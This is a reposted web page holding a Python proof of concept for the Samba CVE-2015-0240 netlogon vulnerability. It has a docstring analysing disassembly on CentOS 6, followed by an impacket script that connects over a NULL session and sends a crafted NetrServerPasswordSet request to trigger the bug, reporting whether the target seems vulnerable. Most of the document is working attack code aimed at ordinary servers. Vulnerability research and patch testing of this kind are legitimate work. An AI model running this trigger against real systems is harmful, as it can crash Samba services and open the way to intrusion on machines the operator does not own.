samba 最新漏洞代碼POC

#!/usr/bin/python
"""
PoC for Samba vulnerabilty (CVE-2015-0240) by sleepya
This PoC does only triggering the bug

Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/

#################
Analysis of samba-3.6.9-164.el6.i686 on centos6
#################

The _netr_ServerPasswordSet() function is called from api_netr_ServerPasswordSet()
function in "librpc/gen_ndr/srv_netlogon.c".

When looking in to assembly (comparing to source code) of 
_netr_ServerPasswordSet function, the creds address is "ebp-0x1c".

    00298c10 <_netr_ServerPasswordSet>:
      298c10:       55                      push   %ebp
      298c11:       89 e5                   mov    %esp,%ebp
          ...
      298c40:       e8 eb 30 e7 ff          call   10bd30 <become_root>
          ...
      298c4e:       8d 45 e4                lea    -0x1c(%ebp),%eax  ; creds address (ebp-0x1c, value is 0x40)
      298c51:       89 44 24 10             mov    %eax,0x10(%esp)   ; pass creds to netr_creds_server_step_check()
          ...
      298c78:       e8 a3 cd ff ff          call   295a20 <_netr_GetDcName+0x280> ; netr_creds_server_step_check
          ...
      298c83:       e8 78 2f e7 ff          call   10bc00 <unbecome_root>


Running the PoC against samba-3.6.9 on centos6 x86, the creds value in 
_netr_ServerPasswordSet() function is always 0x40. To tracking the uninitialized 
value of creds, I check the source in api_netr_ServerPasswordSet() function. 
I found the call to talloc_zero() function before calling to _netr_ServerPasswordSet()
function.

    r->out.return_authenticator = talloc_zero(r, struct netr_Authenticator);
    if (r->out.return_authenticator == NULL) {
        talloc_free(r);
        return false;
    }

    r->out.result = _netr_ServerPasswordSet(p, r);


I checked the assembly of _talloc_zero() function. The "ebp+0x1c" is set inside
this function. After tracking define and use, the value at "ebp+0x1c" is computed
from 2nd argument of _talloc_zero().


    00004ae0 <_talloc_zero>:
        4ae0:       55                      push   %ebp
        4ae1:       89 e5                   mov    %esp,%ebp
          ...
        4afa:       8b 7d 0c                mov    0xc(%ebp),%edi  ; 2nd argument to edi
          ...
        4b41:       8d 77 3f                lea    0x3f(%edi),%esi
        4b44:       83 e6 f0                and    $0xfffffff0,%esi
        4b47:       89 75 e4                mov    %esi,-0x1c(%ebp) ; same stack address as creds


The 2nd arguemnt of _talloc_zero() function is 'size'. The size value is 
sizeof(struct netr_Authenticator), which is 0xc bytes. That's why the uninitialized
value of creds in _netr_ServerPasswordSet() function is always 0x40 on centos6.

So code execution seems to be impossible for me on centos6 samba-3.6.9-164.el6.i686.

#################

"""
 
import sys
 
import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
 
if len(sys.argv) < 2:
    print("Usage: {} <target_ip>".format(sys.argv[0]))
    sys.exit(1)
    
target = sys.argv[1]
 
username = ''
password = ''
 
###
# impacket does not implement NetrServerPasswordSet
###
from impacket.dcerpc.v5.dtypes import *
 
# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
class NetrServerPasswordSet(NDRCALL):
    opnum = 6
    structure = (
       ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
       ('AccountName',WSTR),
       ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
       ('ComputerName',WSTR),
       ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
       ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
    )
 
class NetrServerPasswordSetResponse(NDRCALL):
    structure = (
       ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
       ('ErrorCode',NTSTATUS),
    )
 
nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)
 
 
###
# connect to target
###
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % target)
rpctransport.set_credentials('','')  # NULL session
rpctransport.set_dport(445)
# impacket has a problem with SMB2 dialect against samba4
# force to 'NT LM 0.12' only
rpctransport.preferred_dialect('NT LM 0.12')
 
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)
 
###
# request for session key
###
#resp = nrpc.hNetrServerReqChallenge(dce, NULL, target + '\x00', '12345678')
#resp.dump()
#serverChallenge = resp['ServerChallenge']
#sessionKey = nrpc.ComputeSessionKeyStrongKey(password, '12345678', serverChallenge, None)
sessionKey = '\x00'*16
 
 
###
# prepare ServerPasswordSet request
###
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
authenticator['Timestamp'] = 10
 
uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
uasNewPass['Data'] = '\x00'*16
 
request = NetrServerPasswordSet()
request['PrimaryName'] = NULL
request['AccountName'] = username+'\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = target+'\x00'
request['Authenticator'] = authenticator
request['UasNewPassword'] = uasNewPass
 
 
DCERPCSessionError = nrpc.DCERPCSessionError
try:
    resp = dce.request(request)
    print("no error !!! error code: 0xc0000225 is expected")
    print("seems not vulnerable")
    #resp.dump()
    dce.disconnect()
except DCERPCSessionError as e:
    # expect error_code: 0xc0000225 - STATUS_NOT_FOUND
    print("seems not vulnerable")
    #resp.dump()
    dce.disconnect()
except impacket.nmb.NetBIOSError as e:
    if e.args[0] == 'Error while reading from remote':
        print("connection lost!!!\nmight be vulnerable")
    else:
        raise


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章